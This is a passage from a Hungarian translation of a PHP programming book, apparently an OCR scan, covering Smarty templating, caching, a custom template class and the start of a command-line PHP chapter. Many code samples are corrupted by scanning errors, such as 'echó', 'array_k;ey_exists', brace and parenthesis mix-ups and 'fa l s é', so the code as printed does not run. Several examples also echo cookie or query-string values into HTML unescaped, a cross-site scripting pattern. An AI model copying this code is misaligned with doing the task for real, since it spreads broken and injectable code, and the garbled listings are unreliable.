$name = array_key_exists{'name', $_COOKIE) ? $_COOKIE['name'] :
'Stranger';
$smarty->assign('name', $name);
$smarty->display('index.tpl');

Jegyezzük meg, hogy a sablonban, illetve a hello.php-ben szereplő $name két külön-
böző változó. Ahoz, hogy a $name változó elérhető legyen a sablonban, hozzá kell ren-
delnünk a Smarty névtérhez, az alábbi kód végrehajtásával:

$smarty->assign('name', $name);

Ha a www. example. org/hello. php oldalt olyan sütitömbbel kérjük le, amely tartalmaz
name változót, a következő oldalt kapjuk:

<html>
<body>
Hello George
</body>
</html>

Lefordított sablonok a háttérben

Amikor a hello .php-t először kérik le, és meghívódik a display (), a Smarty észreve-
szi, hogy a sablonnak nincs lefordított változata. Ezért feldolgozza a sablont, és
a benne szereplő Smarty-kódokat megfelelő PHP kódokká alakítja. Ezután az információt
a templates_c könyvtár egy alkönyvtárába menti. A hello .php lefordított sablonja
így fest:
<?php /* Smarty version 2 . 5 . 0 , created on 2003-11-16 15:31:34
compiled from hello.tpl */ ?>
114 PHP fejlesztés felsőfokon

<html>
<body>
Hello <?php echó $this-> tpl_vars['name']; ?>
</body>
</html>

Ha ezután kérelem érkezik, a Smarty megállapítja, hogy a sablonhoz már létezik lefordí-
tott változat, így újrafordítás helyett azt használja.

A $this->tpl_vars [ ' name ' ] a {$name} Smarty-kód PHP fordítása. A tömböt


a $smarty->assign [ ' name ' , $name] hívás töltötte fel a hello .php-ben.

A Smarty vezérlési szerkezetei


Az egyszerű változóbehelyettesítés használata a Smarty-t látszatra rendkívül erőteljessé te-
szi. A sablonok világosak és egyszerűek, és a háttérkód sem bonyolult. Persze eddigi pél-
dáink mesterségesek voltak - a valódi próbatétel az, ha valós környezetben próbáljuk ki
a terméket.

Az első kihívással valószínűleg akkor találkozunk egy sablonrendszer használata során,


amikor táblázatokat kell építenünk és feltételek alapján kell adatokat megjelenítenünk.

Ha webhelyünk egy bejegyzett felhasználója meglátogatja a hello .php oldalt, egy hivat-
kozást szeretnénk megjeleníteni az adott taghoz tartozó bejelentkező oldalra. Két lehető-
ségünk van. Az első, hogy ezt a PHP kódban végezzük el, az alábbihoz hasonló módon:

/* hello.php */
$smarty = new Smarty_ExampleOrg;
$name = array_key_exists('name', $_COOKIE) ? $_COOKIE['name'] :
** ' Stranger';
if($name == 'Stranger') {
$login_link = "Click <a href=\"/login.phpX">here</a> to login.";
} else {
$login_link = ' ' ;
}
$smarty->assign('name', $name);
$smarty->assign('login_link', $login_link);
$smarty->display('hello.tpl');

Ezután a sablonnal meg kell jelentetnünk a $login_link-et, ami lehet, hogy be sincs
állítva:

{* A Smarty sablonokban a megjegyzések így kezdődnek, és


több sort is átfoghatnak.
hello.tpl
*}
4. fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló 115

<html>
<body>
Hello {$name}.<br>
{$login_link;}
</body>
</html>

Ez a módszer sajnos megsérti az alkalmazási és megjelenítési kód szétválasztásának elvét.

A második megoldás, hogy a megjelenítési rétegre bízzuk a döntést, hogy megjeleníti-e


a bejelentkezési hivatkozást, és ha igen, hogyan:

{* hello.tpl *}
<html>
<body>
Hello {$name}.<br>
{ if $narne == "Stranger" }
Click <a href="/login.php">here</a> to login.
{ /if }
</body>
</html>

/* hello.php */
$smarty = new Smarty_ExainpleOrg;
$name = array_k;ey_exists ( ' name ' , $_COOKIE) ? $_COOKIE ['name ' ] :
' Stranger';
$smarty->assign{'name', $name);
$smarty->display('hello.tpl');

A tiszta PHP változat

Mindkét példa hosszabb, mint a tisztán csak PHP-t használó változat:

<html> ^
<body>
<?php
$name = array_k;ey_exists($_COOKIE['name'])? $_COOKIE['name']:'Stranger'
?>
Hello <?php echó $name; ?>.<br><?php if($name == 'Stranger') { ?>
Click <a href="/login.php">here</a> to login.
<?php } ?>
</body>
</html>
116 PHP fejlesztés felsőfokon

Ez nem szokatlan. A nyers kódot tekintve a sablonra épülő megoldások mindig több kó-
dot tartalmaznak, mint a sablont nem használók. Az elvonatkoztatás több helyet igényel.
A sablonrendszerek célja nem az, hogy a kódtár kisebb legyen, hanem az, hogy a külön-
böző célt szolgáló kódokat szétválasszuk.

A teljes feltételrendszert nyújtó if-elseif-else utasításokon kívül a Smarty a f oreach-


en keresztül a tömbök ciklussal való feldolgozását is támogatja. íme egy egyszerű sablon,
amely kiírja az éppen érvényes környezeti változókat:

{* getenv.tpl *}
<html>
<body>
<table>
{foreach from=$smarty.env key=key item=value }
<trxtd>{$key}</tdxtd>{$value}</tdx/tr>
{/foreach}
</table>
</body>
</html>

/* getenv.php */
$smarty = new Smarty_ExampleOrg;
$smarty->display('getenv.tpl');

A fenti példában láthatjuk a „varázserejű" $ smarty változót is, ami egy társításos tömb,
melynek segítségével elérhetjük a PHP „szuperglobálisait" (például $_COOKIE, $_GET),
illetve a Smarty beállítási változóit. A szuperglobálisok elérése a $ smarty. cookie,
$smarty. get stb. formában történhet. A tömbelemekhez úgy férhetünk hozzá, hogy
egy elválasztó pont után hozzáfűzzük az elem kisbetűs nevét; a $COOKIE [ ' név' ] példá-
ul a $smarty. cookie. név formában érhető el. Ez azt jelenti, hogy a hellós példa teljes
kódját elhelyezhetjük egy Smarty sablonban:

{* hello.tpl *}
<html>
<body>
{if $smarty.cookie.name }
Hello {$smarty.cookie.name}.<br>
Click <a href="/login.php>here</a> to login.
{else}
Hello Stranger.
{/if}
</body>
</html>
4. fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló 117

/* hello.php */
$smarty = new Smarty_ExampleOrg;
$smarty->display('hello.tpl');

Egyesek ez ellen azzal érvelhetnek, hogy magában a sablonban egyáltalán nem ajánlott
működési logikát elhelyezni. Nem értek egyet velük: ha a megjelenítésből teljesen kivon-
juk a logikát, azt vagy azt jelenti, hogy a kimenet előállításához valójában nem tartozik lo-
gika (ami lehetséges, de igen valószínűtlen), vagy hogy összekevertük azt az alkalmazás-
logikával. A megjelenítési kódnak az alkalmazásba helyezése pedig nem jobb, mint az al-
kalmazáslogika beépítése a megjelenítési kódba. A sablonrendszerek használatának ép-
pen az a célja, hogy mindkét említett helyzetet elkerüljük.

Mindazonáltal a sablonokban logikát elhelyezni sok buktatót rejt. Minél több szolgáltatás
érhető el a sablonokban, annál nagyobb a kísértés, hogy maga az oldal tartalmazzon nagy
mennyiségű kódot. Amíg ez a megjelenítésre korlátozódik, tartjuk magunkat az MVC min-
tához. Ne feledjük: az MVC nem arról szól, hogy a nézetből eltávolítunk minden logikát
- a cél az, hogy a tartományra jellemző működési kódot vegyük ki belőle. A megjelenítési
és működési kód között azonban nem minden esetben könnyű különbséget tenni.

Számos fejlesztő számára nem csupán az a cél, hogy elválasszák a megjelenítést az alkal-
mazástól, hanem az, hogy a megjelenítési kód is minél kisebb legyen. Gyakran adnak
hangot azon igényüknek, hogy a tervezőket távol szeretnék tartani a PHP kódtól, mintha
a tervezők képtelenek lennének megtanulni a PHP-t, vagy nem lehetne megbízni bennük
a PHP programozást illetően. A Smarty ezt a problémát nem oldja meg. Bármely sablon-
nyelv, amely lehetőséget ad bonyolult logika megvalósítására, elég vastag kötél ahhoz,
hogy felkössük magunkat, ha nem vigyázunk.

A Smarty függvényei és egyebek


Az alapvető vezérlési szerkezetek mellett a Smarty lehetőséget ad arra is, hogy beépített, illet-
ve felhasználói függvényeket hívjunk meg. Ez nagyobb rugalmasságot ad abban, hogy mit
tehetünk meg magán a sablonkódon belül, de az az ára, hogy a sablonok bonyolulttá válnak.

Számomra a leghasznosabb beépített függvény az include. A PHP include () függvé-


nyével azonos módon azt teszi lehetővé, hogy egy sablonba egy másikat építsünk be. Ezt
általában arra használjuk, hogy közös fejlécet és láblécet adjunk a sablonokhoz, mint az
alábbi egyszerű példában:

{* header.tpl *}
<html>
<head>
<title>{$title}</title>
{if $css}
<link rel="stylesheet" type="text/css" href="{$css}" />
{/if}
118 PHP fejlesztés felsőfokon

</head>
<body>

{* footer.tpl *}
<!-- Copyright &copy; 2003 George Schlossnagle. Somé rights
reserved. -->
</body>
</html>

Ha ezután egy sablonban fejlécre vagy láblécre van szükség, a következőképpen építjük
be azokat:

{* hello.tpl *}
{include file="header.tpl"}
Hello {$name}.
{include file="footer.tpl"}

A Smarty támogatja a php függvényt is, melynek segítségével sablonon belüli PHP-kódot
írhatunk. Ezzel az alábbihoz hasonlót hajthatunk végre:

{* hello.tpl *}
{include file="header.tpl"}
Hello {php}print $_GET['name'];{/php}
{include file="footer.tpl"}

A php kódcímke maga a megtestesült gonosz: ha nyers PHP-t alkalmazó sablont akarunk
írni, írjuk meg PHP-ben, ne a Smarty-ban. A nyelvek keverése egyetlen dokumentumon
belül szinte soha nem jó ötlet. Feleslegesen bonyolítja az alkalmazást, és megnehezíti,
hogy megállapítsuk, hol található egy adott szolgáltatás megvalósítása.

A Smarty támogatja az egyéni függvényeket és változómódosítókat is. Az egyéni függvé-


nyek az összetett feladatokat automatizáló segédfüggvények készítésében lehetnek segít-
ségünkre. Ennek egy példája a mailto függvény, amely egy elektronikus levélcímet ala-
kít HTML mail to : hivatkozássá:

{mailto address="george@omniti.com}

Az eredmény a következő lesz:

<a href="mailto:george@omniti.com">george@omniti.com</a>

Saját PHP függvényeinket a Smarty register_function () tagfüggvényével jegyeztet-


hetjük be, ami az egyéni segédkódok létrehozását segíti. Az említett függvénnyel bejegy-
zett függvények bemenetként a $params tömböt kapják, ami a Smarty függvényhívásban
4. fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló 119

átadott esetleges argumentumokat tartalmazza. Az alábbi kód egy segédfüggvényt mutat,


amely egy kétdimenziós tömböt HTML táblázatként jelenít meg. (A függvény meghatáro-
zását a következő alkalmazáskódban láthatjuk.)
function create_table($params)
{
if(!is_arraY{$params['data'])) í
return;
}
$retval = "<table>";
f oreach ( $parains [ ' data ' ] as $row) {
$retval .= "<tr>";
foreach{$row as $col) {
$retval .= "<td>$col</td>";
}
$retval .= "</tr>";
}
$retval .= "</table>";
return $retval;

Megjegyzés

A create_table () különbözik a Smarty beépített htinl_table függvényétől, mert két-


dimenziós tömböt vár.

A create_table () segítségével megjeleníthető a sablonfájlok táblázata:


{* list_templates.tpl *}
{include file="header.tpl"}
{create_table data=$file_arraY}
{include file="footer.tpl"}

/* list_templates.php */
$ smarty = new Smarty_ExainpleOrg;
$smartY->register_function{'create_table', 'create_table']
$data = array(array('filename', ' b y t e s ' ) ) ;
$files = scandir($smarty->template_dir);
foreach($files as $file) {
$stat = stat("$smarty->template_dir/$file");
$data[] = array($file, $stat['size']);
}

$smarty->assign('file_array', $data);
$smarty->display{'list_templates.tpl'
120 PHP fejlesztés felsőfokon

A Smarty a változómódosítókat is támogatja, amelyek olyan függvények, amelyek a válto-


zók megjelenítését módosítják. Az nl2br () PHP függvény meghívása a $text Smarty
változóra például az alábbi sablonkóddal történhet:

{$textInl2br}

A függvényekhez hasonlóan az egyéni módosítókat is bejegyezhetjük, mégpedig


a register_modif ier () tagfüggvénnyel. íme a kód, amivel egy olyan módosítót je-
gyeztethetünk be, amely a változót a PHP urlencode () függvényén keresztül adja át:

$smarty->register_modifier('encode' , 'urlencode');

Az elérhető függvények és módosítók teljes listáját a Smarty kézikönyvében,


a http: //smarty .php .net/manual/en címen találhatjuk meg. Természetesen
a több sablonban is használni kívánt egyéni függvényeket célszerű az osztálykonstruk-
torban bejegyezni.

Átmeneti tárolás a Smarty-val


A lefordított sablonok használatánál is gyorsabb a sablonok kimenetének átmeneti tárolá-
sa, így a sablont egyáltalán nem kell végrehajtani. Az átmeneti tárolás (gyorstárazás,
caching) általában véve is igen hatékony módszer. A kötetben három fejezetet (a kilence-
diket, a tizediket és a tizenegyediket) kizárólag a különböző tárolási megoldásoknak
szentelünk.

A Smarty-ban a tartalom átmeneti tárolásához először engedélyeznünk kell a tárolást az


objektumban, mégpedig a következő sorral:

$smarty->cache = true;

Ezután amikor csak meghívjuk a display () függvényt, az oldal teljes kimenete


$smarty->cache_lif etime ideig (ez általában 3600 másodperc) tárolódik. A legtöbb
oldalon a beágyazott PHP program igényli a legtöbb időt, hiszen az adatokból elő kell ál-
lítani a lapot. A folyamatot rövidre zárhatjuk, ha az is_cached () tagfüggvénnyel ellen-
őrizzük, hogy az oldalnak létezik-e tárolt másolata. A PHP programon belül ez a követke-
zőképpen történik:

$smarty = new Smarty_ExampleOrg;


if(!is_cached('index.tpl')) {
/* beállítás */
}
$smarty->display('index.tpl');
4. fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló 121

Ha az oldal bármilyen felhasználóhoz köthető információt tartalmaz, ez a módszer szá-


munkra nem megfelelő, mert csak az első felhasználóra vonatkozó információk tárolód-
nak, és minden további felhasználó ugyanazt kapja.

Ha feltételekkel szeretnénk tárolni az adatokat, a display () -nek egy második paramé-


tert kell átadnunk. Ezt a tárolási rendszer kulcsként használja, hogy azonos kulccsal ren-
delkező kérelem esetén visszaadhassa a tárolt tartalmat. Ha a homepage. tpl sablont pél-
dául 10 percig minden kérelmező számára egyedileg szeretnénk tárolni, a felhasználókat
a nevük alapján előállított MD5 kivonat alapján azonosíthatjuk:

$smarty = new Smarty_ExampleOrg;


if(!is_cached('homepage.tpl', md5($_C00KIE['name'])) )
{
/* beállítás */
$smarty->assign('name', $_C00KIE['name']);
}
$smarty->display('homepage.tpl', md5($_COOKIE['name' ] )) ;

Láthatjuk, hogy az is_cached () továbbra is használható, csak át kell neki adni az


azonosítót is.

Legyünk óvatosak: a Smarty nem rendelkezik beépített szemétgyűjtéssel, így minden tá-
rolt oldal egy fájlt jelent a tároló fájlrendszerben. Ez lehetőséget teremt a véletlen vagy
szándékos túlterhelésre (denial-of-service, vagyis túlterheléses támadásra), amikor is tárolt
oldalak ezrei gyűlnek fel a rendszerben. Ehelyett azt javasoljuk, hogy viszonylag kevés ér-
téket felvehető kulcs alapján válasszuk ki a tárolandó tartalmat.

A dinamikus tartalmú fájlok átmeneti tárolásának még jobb módja, ha mindent tárolunk,
kivéve a dinamikus tartalmat. Ilyen kódot szeretnénk használni a sablonjainkban:

{* homepage.tpl *}
{* tárolható statikus tartalom *}
{nocache}
Hello {$name}!
{/nocache}
{* egyéb statikus tartalom *}

Ennek eléréséhez bejegyeztethetünk egy egyéni blokk-kezelőt a nocache blokk számára


a Smarty register_block () tagfüggvényén keresztül. A blokk-kezelő függvény három
paramétert vár: a kódcímkének átadott bármely paramétereket, a blokkban található tar-
talmat, illetve a Smarty objektumot.
122 PHP fejlesztés felsőfokon

A megvalósítani kívánt függvény egyszerűen változatlan formában visszaadja a blokk


tartalmát:

function nocache_block($params, $content, Smarty $smarty)


{
return $content;
}

A trükk az, hogy a nocache_block függvényt nem tárolhatóként jegyezzük be,


a register_block () harmadik paraméterének f alse-ra való állításával:

$smarty->register_block('nocache', 'nocache_block', fa l s é ) ;

Ezután a nocache blokk még a tárolt sablonokban is dinamikusan jön létre.

Vigyázzunk, ha az is_cached () függvénnyel rövidre zárjuk az előkészítést, meg kell


győződnünk arról, hogy ettől függetlenül végrehajtják a nem tárolható blokk beállítását!

A Smarty haladó szolgáltatásai


A Smarty gyorstalpaló befejezéseként szót kell ejtenünk még néhány érdekes szolgáltatásról:

• Biztonsági beállítások - A Smarty beállítható úgy, hogy csak bizonyos függvények és


módosítók használatát engedélyezze, és letiltsa a php blokkokat. Az utóbbiakat cél-
szerű azonnal letiltani, és kétszer is meggondolni, mielőtt engedélyeznénk őket.
A biztonság globális engedélyezése úgy történik, hogy a Smarty osztály
$security tulajdonságát true-ra állítjuk. Miután ezt elvégeztük, az egyes bizton-
sági beállításokat a $security_settings tulajdonságon keresztül kapcsolhatjuk
be vagy ki. A részletekkel kapcsolatban lapozzuk fel a Smarty kézikönyvét. A biz-
tonság engedélyezésének legjobb módja, ha a tulajdonságot egyszerűen az
osztálykonstruktorban állítjuk be, mint alább, a Smarty_ExampleOrg esetében:
class Smarty_Example_Org extends Smarty {
function ____ constructf)
{
$this->Smarty();
$this->template_dir = '/data/www/www.example.org/templates';
$this->config_dir =
»£» ■ /data/www/www. example . org/smarty_conf ig ' ;
$this->compile_dir =
*» '/data/cachefiles/www.example.org/templates_c';
$this->cache_dir =
-"»• ' /data/cachef iles/www. example . org/smarty_cache ' ;
$this->security = true;
}
}
4. fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló 123

• Sablonelőszűrés - A sablonelőszűrők segítségével olyan függvényt jegyeztethetünk


be, amely a sablonon annak feldolgozása előtt fut le. A szokásos példa egy olyan
előszűrő, ami eltávolít minden felesleges szóközt a sablonokból. A bejegyzést
a register_pref ilter () tagfüggvényen keresztül végezhetjük el.
• Sablonutószűrés - A sablonutószűrők fordítás után, de lemezre írás előtt futnak
le a sablonon. Az utószűrők ideális felhasználási módja, ha valamilyen tárolt
PHP kódot adunk minden lefordított sablonhoz, például egy olyat, ami
beállítja a session_start () -ot hívó HTTP fejléceket. Az utószűrők
a register_postf ilter () tagfüggvényen keresztül jegyeztethetők be. íme egy
egyszerű utószűrő, ami gondoskodik a session_start () engedélyezéséről:
function add_session_start($tpl_source, Smarty $smarty)
{
return "<?php session_start(); ?>\n".$tpl_source;
}

$ smarty = new Smarty_ExarnpleOrg;


$smarty->register_postfilter("add_session_start");
• Kimeneti szűrők - Ezek használatára a Smarty által előállított minden kimenet esetében
sor kerül, mielőtt elküldenénk a böngészőnek (vagy a Smarty gyorstárába írnánk).
Ez a legjobb hely arra, hogy valamilyen végső adatmódosítást végezzünk, mielőtt
a tartalmat elküldenénk. Például átírhatunk minden kimenő e-mail címet
george@omniti.com-ra (hogy megtévesszük a levélcím-kereső robotokat), vagy a :-)
jelhez hasonló „emotikonokat" azonos célú képekre mutató hivatkozásokra cserél-
hetjük. A kimeneti szűrők bejegyzésére a register_outputf ilter () használatos.
• Tárkezelők - Bejegyeztethetünk egyéni tárkezelőket is, amelyek segítségével megvál-
toztathatjuk azt, ahogy a Smarty a tárolt fájlokat írja és olvassa. Ez akkor lehet hasz-
nos, ha azt szeretnénk, hogy a Smarty egy adatbázisban tárolja a tartalomfájlokat és
lefordított sablonokat, hogy minden kiszolgáló biztosan azonos tárolt tartalmat
szolgáltasson. A tárkezelőket a Smarty osztály $cache_handler_f unc tulajdon-
ságát beállítva jegyeztethetjük be.
• Testreszabható kódcímkék - Ha a {} határolójelek nem tetszenek, bármilyen más jelre
lecserélhetjük azokat. Én az XML-szerű <smarty></smarty> jelölést részesítem
előnyben.

Saját sablonrendszer készítése


Ha tervező- és fejlesztőcsapatunk nyelvi szintű kényszer nélkül képes fegyelmezetten
szétválasztani a megjelenítési és alkalmazási kódot, sablonrendszerként sima PHP-t is
nyugodtan használhatunk. A PHP ugyanis eredetileg sablonnyelv volt, azzal a céllal, hogy
különböző C nyelvű függvényeket ragasszon össze HTML oldalak készítéséhez. Bár
a PHP azóta egyszerű ragasztónyelvből sokoldalú, általános célú parancsnyelvvé (szkript-
nyelwé) vált, hű maradt gyökereihez, és ma is kiválóan alkalmas sablonírásra.
124 PHP fejlesztés felsőfokon

Az alapelv az, hogy olyan sablonokat írjunk, amelyek hasonlóak a lefordított Smarty sab-
lonokhoz, íme egy egyszerű osztály, amely a sablonok feldolgozását kezeli:

class Template {
public $template_dir;
function display( $ f i l e ) {
$template = $this;
// elnyomjuk a nem létező változókra figyelmeztető üzeneteket
error_reporting(E_ALL ~ E_NOTICE);
include("$this->template_dir.$file");
}
}

A fenti sablonosztályt úgy használjuk, hogy létrehozunk egy új Template objektumot,


feltöltjük a kívánt adatokkal, és meghívjuk a display () -t. Maga a Template objektum
$template formában érhető el. Az osztály „hellós" sablonja így fest:

<html>
<titlex?php echó $template->title; ?></title>
<body>
Hello <?php echó $template->name; ?>!
</body>
</html>

A sablont meghívó PHP kód alakja a következő:

$template = new Template;


$template->template_dir = '/data/www/www.example.org/templates/';
$template->title = 'Hello World';
$template->name = array_key_exists('name',
$_GET)?$_GET['name']:'Stranger';
$template->display('default.tmpl');

A Smarty-hoz hasonlóan az alapértelmezett adatokat a PHP-ben is az osztálykonstruktor-


ba zárhatjuk:

class Template_ExampleOrg extends Template


{
public function _____ construct()
{
$this->template_dir = '/data/www/www.example.org/templates/ ' ;
$this->title = 'www.example.org';
}
}
4. fejezet * Megvalósítás PHP nyelven: a sablonok és a Világháló 125

Mivel a sablonokat az include () PHP függvénnyel hajtjuk végre, tetszőleges PHP kódot
tartalmazhatnak, így akár a teljes megjelenítési logika megvalósítható PHP nyelven.
Ha például egy olyan fejlécállományt szeretnénk készíteni, ami CSS stíluslapokat tölt be
egy tömbből, az alábbi kódot írhatjuk:
<!-- header.tpl -->
<html>
<headxtitlex?php echó $template->title ?x/title>
<?php foreach ($template->css as $link) { ?>
<link rel="stylesheet" type="text/css" href="<?php echó $link ?>"" />
<?php } ?>
</head>

Ez a PHP-nek teljesen rendben levő használata egy sablonban, mert világos, hogy tisztán
megjelenítési, nem pedig alkalmazáskódról van szó. Logikát helyezni a sablonokba nem
elítélendő dolog, sőt, bármilyen összetettebb választás, amit a megjelenítés számára bizto-
sítunk, logikát igényel. A lényeg az, hogy a sablonokban a megjelenítési kód kapjon he-
lyet, míg a működési kódot helyezzük a sablonokon kívül.

Amikor mindkettő megvalósítására ugyanazt a nyelvet használjuk, különösen ügyelnünk


kell a szétválasztás fenntartására. Ha ezt nem tudjuk szigorúan betartatni, komoly gondok
vannak a fejlesztési környezetben. Bármilyen nyelvet lehet rosszul használni, de jobb, ha
a fejlesztők önként igazodnak a szabályokhoz, mintha kényszeríteni kell őket erre.

További olvasmányok
A fejezetben alig kapargattuk meg a felszínt a Smarty képességeivel kapcsolatban, de kitű-
nő dokumentációt találunk a Smarty webhelyén, a http: / / smarty. php . net címen.

A PHP-hoz számos sablonrendszer használható. Még ha elégedettek is vagyunk a Smarty-


val, nem árt, ha megismerkedünk más rendszerek képességeivel is. A népszerűbbek közé
tartoznak például a következők:

• HTML_TemplateJT, HTML TemplateJTX és HTML TemplateFlexy - mind elérhető


a PEAR címén (http: / /pear. php. net).
• TemplateTamer - http: / /www. templatetamer. com
• SmartTemplate - http: //www. smartphp.net

Ha nem ismerjük a CSS (Cascading Style Sheets, többszintű stíluslapok) használatát, érde-
mes megtanulnunk. A CSS rendkívül erőteljes eszközt nyújt a HTML oldalak formázására
a mai böngészőkben; segítségével megszabadulhatunk minden FONT vagy TABLE kód-
címkétől. A CSS leírás főoldala a http: / /www. w3 . org/Style/CSS címen található.

Danny Goodman könyve, a Dynamic HTML: The Definüive Reference, kitűnő gyakorlati
útmutató a HTML, a CSS, a JavaScript, és a Document Object Model (DOM) használatához.
Megvalósítás PHP nyelven:
önálló programok

Ez a fejezet azt írja le, hogyan hasznosíthatunk meglevő kódkönyvtárakat, hogy felügyele-
ti feladatokat hajtsunk végre PHP kóddal, illetve hogyan írhatunk önálló vagy parancssori
programokat. Emellett bemutatunk néhány paradigmákat áthágó projektet, amelyek lehe-
tővé tették a PHP használatát a webes környezeten kívül is.

Annak, hogy részt vehettem a PHP fejlesztésében, számomra az volt az egyik legizgalma-
sabb vonása, hogy láthattam, amint a nyelv (a PHP 3 idején és azelőtt) egyszerű webes
parancsfájlkészítő nyelvből sokoldalú, erőteljes nyelvvé válik, ami mellesleg kitűnő telje-
sítményt nyújt a webprogramozásban.

Annak, hogy egy nyelv kimondottan egy adott területre szakosodik, a következő előnyei
vannak:

• Könnyű tökéletes eszközzé válni egy adott feladatra, ha a nyelvet kimondottan


ezért hozták létre.
• Könnyebb egy területen kimagaslónak lenni, mint versenyezni más, érettebb, álta-
lános célú nyelvekkel.

Másrészről viszont vannak hátránya is a szakosodásnak:

• A cégek ritkán összpontosítanak egyetlen részterületre a többi kárára. Még a webköz-


pontú szervezeteknek is vannak háttérrendszerei és rendszerprogramozási igényei.
• A különböző igények szakosodott nyelvekkel való kielégítése a fejlesztőktől több
nyelv magas szintű ismeretét követeli meg.
• A másképp közösen is használható kódot minden használt nyelven meg kell írni.
128 PHP fejlesztés felsőfokon

Webszakértőként az említett hátulütőket komoly gondnak tartom. A több helyen szereplő


azonos kód azt jelenti, hogy hiba esetén több helyen kell javítást végezni (és ami még
rosszabb, több nyelven), ami egyenlő a nagyobb általános hibaszázalékkal, és növeli an-
nak az esélyét, hogy a kódalap ritkábban használt részeiben a hibák sokáig fennmarad-
nak. A több nyelven történő aktív fejlesztés azt jelenti, hogy a fejlesztők nem válhatnak
egyetlen nyelv szakértőivé, ehelyett több nyelvet is ismerniük kell, így nehezebb igazán jó
programozókat találni, akiknek a tudása nem aprózódik el több nyelv között. Egyes cé-
gek úgy kezelik ezt a problémát, hogy külön programozói csoportok dolgoznak a külön-
böző területeken. Ez hatékony lehet, de nem oldja meg a kód-újrahasznosítás problémá-
ját, ráadásul drága és nehézkes.

Legyünk gyakorlatiasak!

Dávid Thomas és Andrew Hunt kitűnő könyve, a The Pragmatic Programmer: From
Journeyman to Master azt ajánlja, hogy a profi programozók legalább egy új nyelvet ta-
nuljanak meg évente. Teljes szívemből egyetértek ezzel a tanáccsal, de gyakran azt látom,
hogy félreértik. Számos cég kódtára „skizofrén": különböző nyelveken írt alkalmazásokat
tartalmaz, csak azért, mert a fejlesztő, aki írta őket, éppen az X nyelvet tanulta, és úgy
gondolta, ez jó gyakorlási lehetőség számára. Különösen igaz ez akkor, ha a cég vezető
fejlesztője kifejezetten ügyes és lelkes, és könnyedén bánik több nyelvvel.

Ez azonban a gyakorlatban nem szerencsés.

A gond az, hogy hiába vagyunk képesek egyszerre Python, Perl, PHP, Ruby, Java, C++ és
C# nyelven programozni, munkatársaink nagy része nem tud követni minket, ráadásul
tonnányi ismétlődő kód keletkezik. Szinte biztos például, hogy ugyanazt az alapvető adat-
bázis-elérési könyvtárat minden nyelven meg kell írnunk. Ha szerencsések és előrelátóak
vagyunk, legalább a könyvtárak felülete (API) ugyanaz lesz, de ha nem, többé-kevésbé
különböző könyvtárakat kapunk, a fejlesztők pedig szenvedhetnek a rengeteg hibától,
ami abból adódik, hogy Python API-hoz kell programozniuk PHP nyelven.

Új nyelveket tanulni hasznos dolog; én magam is próbálom követni Thomas és Hunt taná-
csát. Nyelveket tanulni fontos, mert tágítja látókörünket, edzésben tart és új ötleteket ad.
Az ötleteket és módszereket érdemes átmenteni tanulmányainkból, de óvakodjunk attól,
hogy munkánkat mindig újabb nyelvekre építsük.

Tapasztalataim szerint az ideális nyelv kellően specializált ahhoz, hogy az adott munka lé-
nyegéhez igazodjon, de elég általános a mellékes feladatok megoldására is. A PHP a web-
programozás során felmerülő igények legtöbbjét képes kielégíteni. Fejlesztési modellje hű
maradt a gyökerekhez, a beágyazott webes programokhoz. Használatának egyszerűsége
5. fejezet • Megvalósítás PHP nyelven: önálló programok 129

és praktikussága a webes feladatokhoz ma is páratlan (amit a nyelv gyorsuló terjedése is


bizonyít). A PHP azonban emellett képessé vált általánosabb feladatok megoldására is.
A PHP 4 és 5 már számos nem webes igényt is kielégít.

Vajon a PHP a legjobb nyelv a háttérben futó beágyazott programok számára? Ha nagy
API-val rendelkezünk, amelyet számos üzleti alkalmazásban használunk, az a képesség,
hogy a webes környezet kódjait összeolvaszthatjuk és újrahasznosíthatjuk, hihetetlenül ér-
tékes. Ez az érték még azt a tényt is elhomályosítja, hogy a Perl és a Python érettebb pa-
rancsnyelvek.

A PHP parancssori felülete: bevezetés


Ha a PHP környezetet az --enable-cli kapcsolóval építettük fel, a binárisok könyvtárába
(alapértelmezés szerint ez az /usr/local/bin) egy php nevű bináris állomány kerül.
Hogy ne kelljen a php minden futtatásakor megadnunk a teljes elérési utat, ezt a könyvtárat
fel kell tüntetnünk a PATH környezeti változóban. A phpscript .php program végrehajtása
egy Unix rendszer parancssorából például az alábbi utasítás begépelésével történhet:

> php phpscript.php

Azt is megtehetjük, hogy a program első soraként beszúrjuk a következőt:

#!/usr/bin/env php

Ezután a chmod paranccsal végrehajthatóvá tesszük a programállományt:

> chmod u+rx phpscript.php

A phpscript .php-t most már így futtathatjuk:

> ./phpscript.php

A #! jelölést angolul „she-bang"-nek hívják; ez a héjprogramok és parancsállományok


végrehajthatóvá tételének szabványos módja Unix rendszereken.

Windows rendszeren a telepítő módosítja a rendszerleíró adatbázist, hogy a . php pa-


rancsfájlokat a végrehajtható php állományhoz társítsa, így feldolgozásukhoz és futtatá-
sukhoz elég rájuk kattintanunk. Mindazonáltal a PHP-t Unix rendszereken szélesebb kör-
ben használják (főként biztonsági, költség- és teljesítménybeli okokból kifolyólag), ezért
a könyvben kizárólag unixos példákat hozunk fel.

A bemenet kezelésétől eltekintve a parancssori PHP programok ugyanúgy viselkednek,


mint webes testvéreik.
130 PHP fejlesztés felsőfokon

A bemenet és kimenet kezelése


A Unix tervezési megközelítésének központi elve, hogy kicsi, önálló programokat állítunk
láncba, hogy összetettebb feladatokat végezzünk el. A láncolást hagyományosan úgy ér-
jük el, hogy az egyik program olvas a bemenetről, kimenetét pedig visszaküldi a terminál-
ra. A Unix környezet három különleges fájlleírót biztosít, amelyeket adatok küldésére és
fogadására használhatunk egy alkalmazás és a kezdeményező felhasználó terminálja (tty)
között:

• stdin - A szabványos bemenet („standard in" vagy „standard input") minden ada-
tot elfog, amit a terminálon keresztül bevisznek.
• stdout - A szabványos kimenet („standard out" vagy „standard output") közvetle-
nül a képernyőre kerül (ha a kimenetet átirányítjuk egy másik programhoz, az an-
nak a szabványos bemenetén — stdin — jelenik meg). A print vagy az echó pa-
rancs kiadásakor egy PHP CGI vagy CLI (Command-Line Interface, vagyis parancs-
soros) programban az adatok a stdout-ra kerülnek.
• stderr - A szabványos hibaüzenet („standard error") is a felhasználó termináljára
kerül, de nem a stdin fájlleírón keresztül. Ha egy program stderr-t állít elő, az
nem íródik egy másik program stdin fájlleírójába, hacsak nem alkalmazunk kime-
netátirányítást.

